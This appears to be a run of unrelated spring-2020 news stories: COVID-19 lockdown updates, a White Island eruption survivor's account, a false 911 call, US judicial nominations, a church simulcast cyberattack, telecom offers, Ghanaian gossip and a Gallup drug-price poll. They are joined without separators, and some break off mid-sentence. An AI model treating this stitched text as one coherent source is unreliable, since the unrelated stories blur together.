Minister of State for Development of North Eastern Region (DoNER) Jitendra Singh said. These states have not reported any new case in the last few days. "No new cases were added till Sunday night," Singh said. The Minister also spoke about proposals received/under consideration from N-E states, like Mizoram, Meghalaya, Arunachal Pradesh and Manipur, for health-related projects devoted to management of infections and COVID-19 care, critical care and upgraded healthcare. "These projects will be dealt with priority," Singh said. Representational Image The DoNER Ministry had placed Rs 25 crore at the disposal of N-E states in the initial stage itself, much before the lockdown, as gap-funding for Covid-19-related activities. Last week, the Sikkim government decided to keep its borders shut for tourists till October 2020. The government has said that it has been done to close all doors for the virus to enter the Himalayan state. Sikkim Governor Ganga Prasad has stated that the decision to close the state border has been taken for the welfare of seven lakh people living in the region. The migrant labourers in the state are being taken care of by the government. Representational Image After the coronavirus lockdown is over, the government will put them in jobs. As India remains in lockdown for over a month, the total number of cases reported in the country have surged past the 28,000-mark with 934 deaths. The country is currently staring at lockdown 3.0 after the majority of chief ministers insisted to continue the lockdown to control the spread of virus. Stephanie Browitt (pictured), 23, suffered third degree burns to 70 percent of her body and lost parts of her fingers in the eruption off the coast of Whakatane in New Zealand A survivor of the White Island volcano eruption has opened up about losing her family members - while claiming more lives could've been saved. Stephanie Browitt, 23, suffered third degree burns to 70 percent of her body and lost parts of her fingers in the eruption off the coast of Whakatane in New Zealand on December 9. She was one of 38 people on the island, along with her father Paul and 21-year-old sister Krystal, who both died. The Melbourne family were touring the Bay of Plenty region as passengers on board the Royal Caribbean's Ovation of the Seas cruiseliner, but Stephanie's mother Marie remained on board the ship that day. Stephanie and her father first noticed ash shooting into the sky about 2pm when they were walking back to the boat, but had no idea they were in danger. Paul even encouraged Krystal to take a photo. 'That's when the front tour guide, Hayden, must've heard us or something, I'm not sure, but he yelled ''run!'',' Stephanie told Four Corners. Krystal Browitt (left) and her sister Stephanie (right) are pictured together. Krystal did not survive the eruption on White Island The White Island volcano eruption is pictured from above as a cloud of ash shoots into the sky Before Stephanie could put her gas mask on she was hit by the blinding acidic ash cloud. 'It felt like a wave, like it just takes you,' Stephanie said. 'I was just knocked over. I was tumbling, rolling, for minutes. I mean it felt like forever until it stopped and then it was just burning hot. 'I remember trying to stand up and it took so much energy just to stand up. I remember thinking, I can't believe how hard this is. My legs just felt like jelly,' she said. Stephanie eventually made her way towards the water with a group of others who were hit by the blast. 'Everyone was just on the ground. There was one person lying flat on their belly just spread out, who was screaming in pain, another person who was yelling for help,' she said. 'I remember thinking, I don't know why people are yelling, like, there's just no one near, around us, we're on an island in the middle of the ocean.' So badly burnt and exhausted were those in the group, Stephanie said 'a lot of people gave up on screaming'. 'But every 15 to 20 minutes, I'd hear my name again. My Dad was yelling out my name and I realised he was checking up on me to make sure I was awake,' she said. 'I remember thinking, I need to slow down my breathing or I'm not going to make it.' Pictured: A tour helicopter which had its rotors destroyed during White Island volcano eruption in New Zealand on December 9 The group waited over an hour for help to arrive and were gripped by the fear of a second eruption. Pilot Mark Law from the aviation tour company Kahu Helicopters had seen the eruption from the mainland and decided to fly to the island to offer assistance. Moments later another chopper piloted by Jason Hill and Tom Storey also arrived at the scene and began ferrying the severely injured off the island. Stephanie's heroic father told Jason and Tom to take his daughter first. He stayed behind and eventually died four weeks later in hospital. To this day Stephanie and her family have no understanding of what happened to Krystal. She was not with her before she was boarded onto the helicopter and her body has not been recovered. On board the aircraft, Stephanie sat in the front seat while others piled in the back. 'I remember thinking, Why is there no help on the helicopter? I imagined that there would be medics, or like it was a medical helicopter, you know? A rescue crew with all the right equipment and everything. And I remember thinking, Why is there none of that on here?' she said. 'Now I realise rescue actually wasn't coming. It was just three pilots who chose to risk their own lives to help us and if they hadn't come, we'd all be gone. 'I know that if help had come sooner, there would probably be more people alive from our group. 'Sometimes I wonder if my sister might have had a chance if we were found sooner.' A White Island tour operator rescuing people from the island minutes after it erupted Elite soldiers are pictured days after the eruption on December 13, on mission to retrieve bodies from White Island Stephanie and her mother said they were not warned of any risks before traveling to the volcano site. 'We didn't sign any waivers, get any receipts, nothing. We were just told a two-sentence description in the tour book on Royal Caribbean about how we would be visiting White Island and be enjoying it and then a scenic boat ride that would have lunch as well on board,' Stephanie said. Passengers and family members affected by the tragedy are now pursuing legal action over the matter in Australia, claiming cruise operator acted negligently. 'It was completely preventable. It shouldn't have happened,' Stacks Goudkamp lawyer Rita Yousef said. 'It's had an amazingly horrific impact. People have lost loved ones. They had to witness them in hospital having been completely burnt, being completely unrecognisable from their horrific burns, and people are having to somehow pick up the pieces.' Despite her horrific injuries, Stephanie she said she's grateful to be alive. 'I've come to terms with it and I'm fully happy about it knowing that I'm grateful I'm alive... I'm grateful for Mum, that I can be here for her and she can be here for me, that we have each other.' Of the 21 who lost their lives, 19 had been on-board the Ovations of the Seas cruise ship (pictured) and booked to tour the island with Royal Caribbean A Royal Caribbean spokesperson said guests from Ovation of the Seas were on an organised tour owned and operated by a local company that was independent from Royal Caribbean. 'Following the eruption, Royal Caribbean have focused on providing care and support to passengers, their families and crew that were impacted by this event. Our thoughts remain with the victims and their families,' the spokesperson said. 'The details of the tour are the subject of two separate investigations in New Zealand which we will be fully cooperating with and we are unable to provide further details at this time.' PONTOON BEACH A Menasha Packaging employee is in custody Tuesday after allegedly calling 911 to report shots being fire inside the facility and that someone was trying to kill him. Pontoon Beach Police Chief Chris Modrusic said the employee called dispatchers a second time to report more shots fired inside the warehouse, but the calls have been deemed a false 911 and no shooter was found on scene. At approximately 8:02 a.m., a significant police presence responded to the incident at 9 Gateway Commerce Drive after Pontoon Beach Police Department received the 911 call. Multiple agencies from Madison County responded to the request for mutual-aid assistance quickly, Modrusic said. Once on scene, officers, along with a K9, searched the premises for a possible shooter. An Illinois State Police plane also searched the rooftop. Employees were evacuated but have since returned to work after officers checked the building, Modrusic said. Almost 200 employees were in there today, including management and supervisors, he said, adding that there are a lot of places to hide in such a large warehouse. Its a strenuous, stressful situation because we dont know what we are going into, but we know we have a duty to eliminate the threat. No injuries occurred in the incident and no weapon was found on scene. Officers cleared the scene around 11:30 a.m. The false 911 may result in charges against the man who made the calls, who is currently in custody and being questioned by detectives. Modrusic said he doesnt know why the employee made the false call. Pontoon Beach Police Department will work with Madison County States Attorneys Office on any possible charges. No other information about the identity of the employee can be released at this time. Menasha handles packaging from retail and shipping to retail merchandising. This is a developing story. Details will be added to the story as more information becomes available. Now is not the time to process routine judicial nominations, they added. Mr. McConnell has been unapologetic about what his top priority is. As soon as we get back in session, well start confirming judges again, Mr. McConnell told the conservative radio host Hugh Hewitt last week. We need to have hearings, and we need to confirm judges. Republicans have their eyes on confirming more than judges. The Senate Intelligence Committee could also convene a confirmation hearing next week for Representative John Ratcliffe, Republican of Texas, Mr. Trumps nominee to be the director of national intelligence. Senators in both parties are eager to put in place a permanent spy chief, particularly at a time when intelligence gathering will play a large role in understanding the effects of the pandemic on American interests around the globe. And Mr. Trump has agitated for the Senate to get back to work confirming his nominees, threatening this month that if it did not, he would use a never-before-invoked power to force Congress to adjourn so that he could fill government vacancies himself. (Mr. McConnell promptly issued a statement making it clear that would not happen, and saying that he had promised Mr. Trump he would work to confirm nominees who were mission-critical to the Covid-19 pandemic.) Mr. Trump nominated Judge Walker, 37, to the prestigious appeals court on April 3, less than six months after he began serving on the district court bench. He was confirmed to that post last October despite being rated as unqualified by the American Bar Association because of his lack of experience. Mr. McConnell has known Judge Walker since he was in high school, considers him a brilliant legal mind and took him to the Oval Office this year to meet with the president. A former clerk to Justice Brett M. Kavanaugh, Judge Walker was one of his most ardent defenders during the brutal Supreme Court confirmation battle in 2018. Mr. McConnell and Justice Kavanaugh traveled to Louisville in March for Judge Walkers formal investiture as a district court judge before his latest nomination. Progressive and civil rights groups opposed Judge Walkers nomination initially and plan to do so again. In a letter sent to senators on Monday, the Leadership Conference on Civil and Human Rights urged a vote against his confirmation, calling his nomination a triumph of nepotism over neutrality given his close relationship with Mr. McConnell. The group faulted Judge Walker for his stated opposition to the Affordable Care Act and what it described as ideologically charged comments in defense of Justice Kavanaugh, among other concerns. Surfers in New Zealand hit the waves at dawn and builders returned to construction sites as the nation eased a strict lockdown on April 28 amid hopeful signs of coronavirus been vanquished, for now. (Image: AP) With the number of new cases waning, New Zealand's government loosened its lockdown, which for more than a month had closed schools, offices and most businesses, and only allowed people to leave their homes for essential work. (Image: AP) New Zealand eased its strict lockdown restrictions to level three at midnight on April 27 to open up certain sections of the economy while following social distancing rules. (Image: AP) Among those places to reopen were construction sites, and cafes and restaurants that sell takeaway coffees and food. (Image: AP) People are still required to work from home if they can and maintain social distancing. (Image: AP) New Zealand's Prime Minister Jacinda Ardern praised people for their incredible job to break the chain of transmission, but cautioned they needed to remain vigilant. (Image: AP) According to the country's health authorities, they are winning the battle against the virus. Nevertheless they cautioned people not to get complacent and to maintain social distancing. (Image: AP) Elsewhere in the world many countries are starting to ease lockdown while others are still fighting to combat the outbreak. Brazil emerging as a new hot spot for coronavirus with more than 67,000 cases registered and 4,600 deaths so far. (Image: AP) In Australia, authorities reopened Sydneys iconic Bondi Beach to swimmers and surfers during daylight hours on April 28 while ensuring social distancing. (Image: AP) As soon as the restrictions were lifted hundreds returned to water in Bondi beach. (Image: AP) Region Campania allowed cafes and pizzerias to reopen for delivery from April 27, as Italy is starting to ease its lockdown after a long precautionary closure due to the coronavirus outbreak. (Image: AP) David Platts Secret Church simulcast comes under cyberattack Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment Many participants were unable to log in to watch megachurch pastor and bestselling author David Platts Secret Church, an online event to express solidarity with and pray for persecuted underground Asian house-churches, due to a suspected cyberattack. We know many of you were not able to join the SC20 simulcast last night, read a post on the events Facebook page Saturday. It appears our site was under attack, keeping many of you from logging in. And we understand your frustration. The post added, Good news: The full simulcast replay is available NOW. Log in or register for access to the replay through June 30. Later, Platt, the lead pastor of McLean Bible Church in Vienna, Virginia, and author of Radical, wrote on his Facebook page, We are working diligently to fix the current errors on the Secret Church website. Please continue to refresh your page and clear the cache on your computer. Once you are able to log in, you will be able to rewind Secret Church. The idea behind Secret Church came from Platts teaching and ministering among underground Asian house-churches. Due to hostility from the government, from the surrounding community, and even from their own family, many of our brothers and sisters in Christ around the world are forced to gather in secret, sometimes at the risk of their lives, the events website says. The plight of our persecuted brothers and sisters also explains why prayer for the persecuted church is a major part of every Secret Church gathering, it adds. We remember those who cannot meet openly, asking God to sustain their faith, to change the hearts and the actions of their persecutors, and to use their witness for the spread of the Gospel. In January, Platt, former leader of the Southern Baptist Conventions International Mission Board, said there was a time in his life when he needed to repent for not preaching enough on abortion as a younger pastor. There was a point as a pastor when I just kind of stayed away from abortion [because Id think,] thats a political issue, Platt told The Christian Post. But I got really convicted. Far before it is any kind of political issue, it is a biblical issue that God speaks really clear about the value of life. In his prayer, he said, We have all turned aside from your ways to our ways in our lives and as a country. How we have settled for racial injustice, ignored the immigrant, marginalized the poor and neglected the needy. How we have confused sexuality, abused authority, objectified beauty and how we have taken the lives of children. He further prayed for an end to laws that make it legal to murder a child. Whereas before he was too timid to speak on abortion, today he believes that as a pastor who preaches Gods Word, he must speak clearly about the value of life for babies, for women, for men. Platts latest book, Something Needs to Change: A Call to Make Your Life Count in a World of Urgent Need, highlights the plight of those suffering around the world and calls on Christians to do their part to bring physical, emotional and spiritual healing to such individuals. At the National Day of Prayer last May, Platt said church and ministry leaders are too frequently tempted to accomplish their ministry goals through human abilities and ingenuity without the presence of God. Last September, Platt issued an urgent call to those in the Church to transform their compassion for a lost world into action and truly live out what they claim to believe. Its impossible to be a Christian without change, he said. We are continually being changed more and more into the image of Jesus. ... Its what it means to be a disciple of Jesus, and its what it means to make disciples of Jesus, which is what weve all been called to do. Platt added, This is everybodys greatest need in the world; the need to change, the need to be changed ... by the love of Jesus. Girls need to be rescued from trafficking. People need to be saved from preventable diseases. Men and women need to hear the Gospel before they die. In order for change like that to happen in the world, theres some change that needs to happen in us. WPI's MS in Business Analytics will prepare students to analyze and use data to inform business leaders how to make the best decisions. Recognizing the importance of preparing graduates who are able to analyze and use the increasing volume and variety of data to help their employers improve business processes and make better decisions, Worcester Polytechnic Institute (WPI) is launching a Masters in Business Analytics degree and adding analytics options within its Masters in Information Technology. The programs, introduced in WPIs Foisie Business School, are intended to meet the need across industries for employees with expertise in handling large volumes of data and generating impactful business insights from that data. In light of the ongoing COVID-19 pandemic, the demand for these programs is even higher as industries are forced to shift toward technology-centric solutions, like data modeling, epidemiology analysis, and Zoom user experience issues. Both degrees can help employees looking to transition to new career paths and those companies that are serving their constituents more and more in the online space. Businesses have taken an analytical turn because of data, said Diane Strong, department head and professor of information technology and data science. In the past, businesses conducted analyses on what was working and what to change, and were able to remain competitive in a relatively stable business environment. In todays continually changing global business environment, theres a demand for analytically savvy students who can navigate the analytics and respond quickly to the changing environment of business operations, marketing, supply chains, and finances. The 33-credit masters in business analytics program offered by the Foisie Business School will launch in August 2020, and aims to educate students about the analytics needs of real-world businesses, giving them the skills to use technologies and business acumen to help their organizations create and deliver greater value to their customers. It will provide a foundation in business analytics through three introductory core courses, after which students may choose two out of four specialties to pursue: Advanced Business Analytics Methods, Marketing Analytics, Operations Analytics, and Financial Analytics. It will broaden the range of our students skills, said Sharon Johnson, professor of business. The program will expose students to different ways to use data, such as creating dashboards, computing key metrics for running a business, and developing models to optimize business and supply chain operations. Revamped Masters in Information Technology Also focused on employer needs for data analytics professionals, WPI updated its Masters in Information Technology degree program in December 2019. The Masters in Information Technology will still include 33 credits and prepare students to become leaders in real-world technological and business innovations, but will now have a tighter focus on information technology as it applies to business analytics. We see the changes in the IT industry, such as this emerging focus on analytics, and recognize that with updates to our masters in Information Technology program, we could better serve both our students and the industries and organizations they want to work in, Strong said. Companies are already hiring our Information Technology students for business analytics positions. With the updated curriculum, they will be even better prepared to hit the ground running. In addition to building upon WPIs renowned project-based learning, a key distinction for both the Business Analytics and IT degree programs is a two-course capstone experience centered on a project conducted for a company. It will include Teaming and Organizing for Innovation, a course to prepare students to work together as a team to complete a real-world project. The capstone experience is particularly distinctive because it helps students learn to work with and rely on each other to get a project donea critical skill in the workplace. The real world is complex and creates many challenges for people who are trying to make sense of data, Johnson said. The capstone experience gives students practice in analyzing data together and taking action with it. Project-based learning is a great way for students to learn. Students, especially those who are already working, are able to go through either program on a part-time basis; the programs are expected to be offered online soon. Strong said that students who complete either program will emerge as business analytics professionals who can interpret results for business leaders. They will be able to design data systems, help businesses make better decisions, and improve their returns on investment," she said. "This will help businesses with their overall success, too. About Foisie Business School As the business school of a premier technological university, the Robert A. Foisie Business School at Worcester Polytechnic Institute integrates science, technology, engineering, and math (STEM) into the undergraduate and graduate programs. Consistent with WPIs mission of theory and practice, a project-based approach to learning and doing pervades the WPI Foisie Business Schools curriculum. Graduates of the WPI Foisie Business School are prepared to lead at the intersection of technology and business, applying entrepreneurial thinking and harnessing the power of technology and teamwork to solve complex human problems. About Worcester Polytechnic Institute WPI, a global leader in project-based learning, is a distinctive, top-tier technological university founded in 1865 on the principle that students learn most effectively by applying the theory learned in the classroom to the practice of solving real-world problems. Recognized by the National Academy of Engineering with the 2016 Bernard M. Gordon Prize for Innovation in Engineering and Technology Education, WPIs pioneering project-based curriculum engages undergraduates in solving important scientific, technological, and societal problems throughout their education and at more than 50 project centers around the world. WPI offers more than 50 bachelors, masters, and doctoral degree programs across 14 academic departments in science, engineering, technology, business, the social sciences, and the humanities and arts. Its faculty and students pursue groundbreaking research to meet ongoing challenges in health and biotechnology; robotics and the internet of things; advanced materials and manufacturing; cyber, data, and security systems; learning science; and more. http://www.wpi.edu Media contact: Jessica Messier, Public Relations Specialist Worcester Polytechnic Institute Worcester, Massachusetts jmmessier@wpi.edu; 508-450-6489 Stephanie Kifowit is probably as tuned-in to this issue as anyone in the state. A former Marine herself, the state representative from Oswego is chairwoman of the Illinois House Veterans Affairs Committee, heads the states Veterans Suicide Prevention Task Force and sits on the committee of a Governors Challenge from the U.S. Department of Veterans Affairs that wants to bring the number of national veteran suicides which now stands at about 20 per day down to zero. Despite the coronavirus lockdown the free print edition of SUR in English is out as usual for readers to pick up every Friday. Spain's state of alarm decree includes newspapers among those essential products that people are permitted to go out for. While some distribution points are closed during the lockdown, SUR in English is still being distributed to news kiosks, paper shops, supermarkets, petrol stations and other usual outlets that are authorised to open across the province of Malaga. Distribution queriesEmail surinenglish.su@diariosur.es Alternatively, you can download the paper (and any past edition) in PDF format from our website (click here). Consult the updated list below to find the news outlet closest to you. The list includes newsagent's, supermarkets and petrol stations, among other open shops and services. Please note that this list does not include private residential developments that do still regularly receive SUR in English. Some other outlets that also still receive the newspaper may also have been omitted from the list. Similarly we apologise if any of the points listed are closed without our knowledge. Back to business If your business is one of our usual distribution points and is preparing to reopen after the coronavirus lockdown, please let us know so we can resume delivery. The coronavirus pandemic has spiked tensions between China and the United States. In Washington, hard-line lawmakers in Congress are pushing punitive legislation against Beijing, while using their grievances over China's handling of the outbreak to justify a more sweeping transformation of the relationship between the world's two biggest economies. Over the weekend, Sen. Tom Cotton, R-Ark., one of the most strident anti-Chinese voices on the Hill, argued that the thousands of Chinese students given visas to attend U.S. universities should be restricted from enrolling in science and technology programs. Instead, they should be allowed "to come here and study Shakespeare and the Federalist Papers, that's what they need to learn from America," Cotton said. "They don't need to learn quantum computing and artificial intelligence from America." Chinese officials, meanwhile, keep stoking coronavirus counter-narratives. On Monday, the Twitter account of the Foreign Ministry spokesperson reiterated claims that the Trump administration is participating in a coverup and obscuring information about how the virus spread. Also in a tweet, Hu Xijin, the editor in chief of the Global Times, an English-language state-run tabloid, argued that China is reckoning more responsibly with the virus than the United States, whose "ambitious politicians" are willing to risk the lives of the public by opening up the economy sooner than public health experts think wise. Observers elsewhere are not impressed. China pursued "very authoritarian measures, while in the U.S., the virus was played down for a long time," German Foreign Minister Heiko Maas said in an interview earlier this month with Der Spiegel. "These are two extremes, neither of which can be a model for Europe." Some European critics have bemoaned President Trump's divisive management of the crisis and abandonment of global leadership amid the pandemic. Nathalie Tocci, who advises E.U. foreign policy chief Josep Borrell, has likened this moment to the 1956 Suez crisis - an international standoff in Egypt that is remembered as an inflection point in Britain's decline as a global power. The 2020 pandemic may one day represent the same for the United States. China, though, is hardly filling the void and may not want to - an argument often ignored in Washington, where an emerging bipartisan consensus casts Beijing as America's inexorable 21st-century great power competitor. "China has no desire to run the world in the way the Americans or the West have done," former Singaporean diplomat Kishore Mahbubani told the Asian Nikkei Review. "The Chinese are happy to play their part, but most of all want to take care of China." That may be for the best given how Beijing's recent soft power outreach, particularly with medical aid, has run into controversies over the quality of supplies distributed. And its attempts this month to diplomatically strong-arm the European Union into suppressing an internal report that documented Beijing's disinformation campaigns in Europe have hardly won it any more sympathy. No matter the talk of a new "Cold War," the pandemic is a reminder that, for much of the world, neither American supremacy nor a newfangled Pax Sinica hold much appeal. True, for nationalists and populists elsewhere, China's fiscal clout and growing political muscle does provide a counterbalance to the liberal system once championed by Washington. "Leaders, and populists especially, now increasingly see partnership with the United States - once viewed as an indispensable pillar of foreign policy - and its Western allies as overly constraining," wrote scholars Alexander Cooley and Daniel Nexon in Foreign Policy. "For example, [the Philippines' Rodrigo] Duterte, [Turkey's Recep Tayyip] Erdogan, and [Hungary's Viktor] Orban all came to power in states that were fully integrated members of the U.S.-led security order. All three now point to potential security relations with Russia and China as providing the possibility of greater balance with, if not outright exit from, that order." But even skeptics of the Pax Americana aren't eager to see it supplanted by the Chinese. "Like Beijing, the U.S. leveraged its pole position in the global economy, its military and industrial strengths, and its technological supremacy to build a world order that responded to its interests," Indian parliamentarian Jayant Sinha and Delhi-based scholar Samir Saran wrote in a piece that forecast a less free and open post-pandemic world. "There is, however, no equivalence between the two. U.S. society was largely open - individuals, communities and nations from around the world could engage, convince or petition its institutions; write in its media; and, often, participate in its politics. Its hegemony was constrained by a democratic society and conditioned by its electoral cycles." There is consensus among many foreign policy experts that cooperation between the two countries is vital for the world's collective ability to deal with the coronavirus and prepare for future pandemics. But China and the United States, on their present course, are leading the world into a pandemic-fueled nationalist spiral. "U.S.-China cooperation has been almost entirely absent during the early stages of this crisis, which now seems as likely to deepen the two nation's divisions as it is to bring them together," wrote James Crabtree in the Asian Nikkei Review. "The aftermath of the global financial crisis suggests countries facing recessions and anxious domestic populations also all too often resort to protectionism, worsening both their own economic circumstances and those of their neighbors." Metro Manila (CNN Philippines, April 28) The Philippine National Police on Tuesday appealed to lawmakers to help them go after quarantine violators by "putting more teeth" to policies related to their surveillance in light of the COVID-19 pandemic. PNP chief PGen Archie Gamboa told congressmen about the current "legislative challenges" in relation to apprehending certain individuals who violate specific regulations set by the Inter-Agency Task Force for the Management of Emerging Infectious Disease while the enhanced community quarantine is in place. "We want to have interpretations on the part of the House of Representatives to reinforce our belief that there are laws that can be used in the implementation of quarantine provisions promulgated by the IATF," Gamboa told the House committee's peace and order cluster during the virtual working group meeting of the House Defeat COVID-19 Committee. For one, Republic Act 11332, or the "Mandatory Reporting of Notifiable Diseases and Health Events of Public Health Concern Act," should "put teeth" on IATF policies based on a subordinate regulation that authorities can apply when going after violators, Gamboa said. "The PNP is always left on the possible appreciation of overt acts of people who tend to violate and then charge them with the Revised Penal Code." Gamboa said. "This purely boils down to the discretion of the police officer." Among the acts prohibited by the RA 11332 include non-cooperation of persons that should respond to notifiable diseases or health events of public concern and intentionally providing misinformation of a medical condition or treatment. Police Senior Master Sergeant Roland Von Madrona cited RA 11332 in the complaint he filed on Tuesday against Spanish national Javier Parra Salvador, a day after they were caught in a scuffle over the latter's alleged violation of quarantine guidelines inside the Dasmarinas Village in Makati City. Salvador allegedly violated the measure, and was also accused of direct assault, resistance and disobedience to person in authority. He also allegedly violated the Bayanihan to Heal as One Act for not wearing a face mask in public. "We have been very considerate," Gamboa said. "Ang una naman kasi talagang ginagawa ng police is pakiusap (What the police really does first is reprimanding violators)...once there is an overt act of which already qualifies to the commitment of disobedience or disrespect, that in itself becomes the basis of arrest." Since the Luzon-wide lockdown was implemented on March 17, the number of violators has declined from around 8,000 per day to only around 300 to 400 to date due to strict enforcement of quarantine regulations, he added. President Rodrigo Duterte ordered the extension of the enhanced community quarantine in Metro Manila, Central Luzon, Calabarzon, and all other "high-risk" provinces in Luzon until May 15 as the national government continues to grapple with the rising COVID-19 cases. Highlights Government-owned telco BSNL has announced two recharge schemes for the convenience of its users. One of the schemes offers 4 per cent discount to BSNL users who are charging numbers of other BSNL users. The process is hassle-free as no separate app has to be downloaded for the recharge. Government-owned telco Bharat Sanchar Nigam Limited (BSNL) has announced a four percent discount to users who recharge for other BSNL numbers. The update came through the telco's app Telecom Talk reported. The offer is going to be valid until May 31 with the scheme applicable to registered users. The report states that users can receive official cashback for performing recharge on other BSNL numbers. Similar offers have been initiated by Airtel, Vodafone and Reliance Jio earlier this month. The telco has introduced two main recharge schemes for the convenience of its users in the time of the coronavirus pandemic. The first scheme is the Apno ki Madad Se Recharge which enables a BSNL user to recharge another BSNL number, maybe for his family or friends. On recharging the number for his family or friends, the BSNL user will get a four percent discount and will be eligible for a cashback. The next scheme is the Ghar Baithe Recharge which enables users to request for recharge with a BSNL official who would reach out to the subscriber and provide the requested recharge. These recharge methods come in the backdrop of coronavirus pandemic when a lot of users are staying at home. They are intended to make the experience of the user more seamless and convenient. The recharge methods can also be seen as hassle-free as no separate app, like in the case of Jio has to be installed. People looking to recharge their phones online can do it through the MyBSNL mobile app, BSNL website and other popular wallet services. Those not familiar with the digital process can reach out to the 'Recharge Helpline' on toll-free number 5670099. This will allow BSNL users to avail of prepaid recharges sitting at their homes. Reliance Jio, too announced an offer wherein a user can create a virtual recharge store of sorts through Jio POS Lite app. Users can put in currency in any Jio user's account and get commission up to 4.16 percent. The Jio POS Lite app can be downloaded from Play Store. Users must note that the person downloading it must have a Jio number. Users can keep track of transactions for 20 days via the app's Passbook feature. Airtel and Vodafone too offer cashback options for their users, if they recharge currency for other users. Airtel offers a 4 percent cashback for putting currency for other users from the Airtel app. The scheme is known as "Earn from Home." Vodafone announced its "Recharge for Good" initiative under which if a customer makes an online recharge for another Vodafone customer, he will get a cashback up to 6 percent. The Delhi government on Tuesday asked the central government to promote students of class 10 and 12 on the basis of internal assessment amid ongoing coronavirus crisis. It would help as the Central Board of Secondary Education (CBSE) would not be able to carry out exams across the country due to the pandemic, Delhi's Deputy Chief Minister and Education Minister Manish Sisodia said in a meeting called by the Union Human Resource Development (HRD) Minister Ramesh Pokhriyal. The students should be promoted on the basis of internal exams as the CBSE is not expected to conduct the remaining exams of class 10th and 12th, Manish Sisodia tweeted on Tuesday evening. The promotion may be conducted in the same way as for the students of standard 9th and 11th, he added. Manish Sisodia also appealed to the central government to reduce the syllabus for the coming academic year along with entrance examinations including JEE, NEET and other entrance examinations for higher education institutions. Earlier, the Delhi government had asked all private schools to only charge monthly tuition fees during coronavirus lockdown period. Manish Sisodia said private schools can charge monthly tuition fees but not bus transportation fees and any other such charges during the lockdown period. "Education and economy were worst affected by the COVID-19 crisis. We are taking online class and taking various steps to ensure education to the students of government school," Manish Sisodia had said. He had also warned that action would be taken under the Epidemic Act and Education Act if any school was found violating this order by the Delhi government action The total number of confirmed novel coronavirus cases in India currently stands at 29,974, including 22,010 active cases, 7,026 recoveries, 1 migration and 937 deaths, according to the latest update by the Union Health Ministry. Globally, the tally of confirmed coronavirus cases has crossed 30 lakh with over 2 lakh deaths. Also read: Coronavirus India Live Updates: 1,543 new cases in last 24 hours, recovery rate improves to 23.3% Also read: RIL Q4 result: Mukesh Ambani's Reliance to consider rights issue after 3 decades Allegations that actress Benedicta Gafah once had an amorous relationship with Bishop Daniel Obinim have not only spread like wildfire but also raised damning questions about todays church. Many people both Christians and non-Christians are shocked over the allegations because they expect a man of God like Bishop Obinim to lead people out of sin, and not into sin. The Member of Parliament (MP) for Assin Central, Kennedy Agyapong, who made the allegation, has sworn to expose the dirty secrets of the founder and leader of the Gods Way International Church, who claims to be an angel. Benedicta declined to deny or confirm the claims when NEWS-ONE reached out to her on Saturday. A member of her media relations told NEWS-ONE that she is not interested in reacting to the allegation. According to the MP who spoke on The Seat on Net 2 TV, the actress was among some 13 women who Obinim allegedly had been having sex with aside from his wife, Florence Obinim. The revelation was, however, Kennedys reply to Florences earlier accusation that he (Kennedy Agyapong) is adulterous and has many children outside his marriage. The MP released names and photos of ladies Obinim had slept with outside his marriage to prove that Florence Obinims husband does the most when it comes to womanizing. But the Kumawood actress has been showing signs to the effect that she is least worried about Kens claims. Shortly after news went viral about her alleged sexual escapades with Obinim, she took to her Instagram to share a video of herself in the kitchen dancing to Nigerian star Burna Boys hit single titled Ye. She sang the lyrics of the song which suggest that her focus is on creating wealth and living the best life. The actress subsequently shared her bikini photo to possibly indicate that she is not ashamed of her body. Benedicta and Obinim first made headlines in 2016 when he reportedly delivered her from some marine spirits. In a video that was widely circulated on social media at the time, Obinim revealed that there was an agenda by a marine spirit (mermaid) to hinder her career and also prevent her from getting a good marriage. He advised her not to swim in any water body and went on to pray for her. After that came rumours in 2017 that they were dating but Benedicta denied it, saying Me, myself, I am a bit confused. I dont know where all those stories are coming from but I am not dating him. Yes, I am dating, I have a boyfriend who I love very much and I will never leave him for anything in the world and he is not Bishop Obinim. Kennedys allegation, therefore, raises more questions about their relationship. Meanwhile, other reports claim Benedicta had once been married to one guy in the United States of America (USA). Source: Daily Guide Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Story Highlights Perceived increases in cost of drugs cross socioeconomic lines Little progress seen in addressing rising drug costs 75% support Senate vote on House legislation HR 3 This is the second article in a two-part series, conducted in partnership with West Health, a family of nonprofit and nonpartisan organizations focused on lowering healthcare costs for seniors, on the rising costs of healthcare in the U.S. The first article explores the relationship between the spread of COVID-19 and avoiding care due to costs or fear of infection. WASHINGTON, D.C. -- Two-thirds of U.S. adults (66%) report that prescription drug prices have increased either a little or a lot since 2017, the first year of the Trump administration. Self-identified Democrats (81%) and independents (70%) are more likely to perceive an increase in prices than are Republicans (47%), although less than 10% among all three groups see a decline in drug prices during this period. These results are part of a special study by Gallup and West Health to assess public opinion on the cost of healthcare in the U.S. Perceived Changes in Prescription Drug Prices Since 2017, by Political Party Since 2017, do you think that the costs of prescription drugs have increased a lot, increased a little, remained about the same, decreased a little or decreased a lot? U.S. adults Republicans Independents Democrats % % % % Increased a lot 35 22 37 45 Increased a little 31 24 33 36 TOTAL INCREASED 66 47 70 81 Remained the same 25 42 20 13 Decreased a little 6 7 7 2 Decreased a lot 1 1 1 1 TOTAL DECREASED 7 8 8 3 Figures are rounded to the nearest whole percentage. Gallup-West Health Healthcare Costs Survey, Feb. 17-28, 2020 These data are based on interviews with 1,020 U.S. adults across all 50 states and the District of Columbia, conducted Feb. 17-28, 2020. The belief that drug costs have increased is highly consistent across demographic subgroups, with little differences found based on race/ethnicity, gender, education level, annual household income and age. Dovetailing with these results are perceptions of Trump's progress in controlling rising drug costs, with 31% of Americans saying the Trump administration has made "a great deal" or "a fair amount" of progress, compared with 65% who report "not very much" progress or "none at all." These results are slightly more positive for the president than in September 2019, when 27% perceived a great deal or fair amount of progress. The four-percentage-point increase is statistically significant. Progress Made by Trump Administration on Rising Costs of Prescription Drugs How much progress has the Trump administration made to limit the rising cost of prescription drugs in the U.S. -- a great deal, a fair amount, not very much or none at all? A great deal A fair amount Not very much None at all % % % % Feb 17-28, 2020 7 24 36 29 Sep 16-30, 2019 7 20 33 33 Gallup-West Health Healthcare Costs Survey As in September, partisanship influences these perspectives -- with over half of Republicans (56%) perceiving a great deal or fair amount of progress and 38% seeing not very much or none at all. Among Democrats, these figures are 8% and 90%, respectively. The slight improvement in those seeing at least a fair amount of progress, however, is driven not by Republicans, but instead 